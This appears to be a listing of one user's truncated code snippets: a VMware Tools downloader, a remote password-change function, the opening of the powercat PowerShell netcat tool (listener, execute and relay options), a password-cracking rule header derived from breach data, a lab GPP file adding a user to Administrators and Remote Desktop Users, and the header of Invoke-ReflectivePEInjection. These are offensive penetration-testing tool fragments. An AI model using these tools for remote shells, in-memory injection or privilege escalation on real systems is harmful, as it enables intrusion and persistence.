chryzsh

$Version = Invoke-WebRequest https://packages.vmware.com/tools/releases/latest/windows/x64/ -UseBasicParsing | Select-Object -ExpandProperty links | Select-Object href -ExpandProperty href | Select-String VM

$DownloadUrl="https://packages.vmware.com/tools/releases/latest/windows/x64/$Version"
$DownloadPath="C:\Windows\Temp\$Version"


Write-host "Downloading vmware tools from $DOwnloadUrl and saving to $DownloadPath"

Invoke-WebRequest -UseBasicParsing -Uri $DownloadUrl -OutFile $DownloadPath
#(New-Object System.Net.WebClient).DownloadFile($DownloadUrl, $DownloadPath)

chryzsh

function Set-PasswordRemotely {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $true)][string] $UserName,
        [Parameter(Mandatory = $true)][string] $OldPassword,
        [Parameter(Mandatory = $true)][string] $NewPassword,
        [Parameter(Mandatory = $true)][alias('DC', 'Server', 'ComputerName')][string] $DomainController
    )
    $DllImport = @'
[DllImport("netapi32.dll", CharSet = CharSet.Unicode)]

chryzsh

$assemblies=(
	"System"
)

$source=@"
using System;
using Microsoft.Win32;
using System.Diagnostics;

namespace Helloworld

chryzsh

function powercat
{
  param(
    [alias("Client")][string]$c="",
    [alias("Listen")][switch]$l=$False,
    [alias("Port")][Parameter(Position=-1)][string]$p="",
    [alias("Execute")][string]$e="",
    [alias("ExecutePowershell")][switch]$ep=$False,
    [alias("Relay")][string]$r="",
    [alias("UDP")][switch]$u=$False,

chryzsh

#
#                                                       #
#       @Stealthsploit / https://stealthsploit.com      #
#       Created using top 25% performing rules from:    #
#       InsidePro-HashManager, d3ad0ne, dive,           #
#       InsidePro-PasswordsPro, rockyou-30000,          #
#       KoreLogic's Rockyou50000, _NSAKEY.v2.dive       #
#       against various leaked data breaches            #

chryzsh

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2019-03-07 17:32:24" uid="{ECC42B3A-5D61-4705-BC17-467C4A2764DE}"><Properties action="U" newName="" description="GPP - admins" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)"><Members><Member name="lab\chry" action="ADD" sid="S-1-5-21-1805218588-1302490888-793887298-1113"/></Members></Properties></Group>
	<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Remote Desktop Users (built-in)" image="2" changed="2019-03-07 17:33:38" uid="{5F8E65C1-F1BA-4207-8549-5D6606F8E7DF}"><Properties action="U" newName="" description="gpp - add chry rdp" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-555" groupName="Remote Desktop Users (built-in)"><Members><Member name="lab\chry" action="ADD" sid="S-1-5-21-1805218588-130

chryzsh

function Invoke-ReflectivePEInjection
{
<#
.SYNOPSIS

This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, 
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, 
please lead the Notes section (GENERAL NOTES) for information on how to use them.

1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.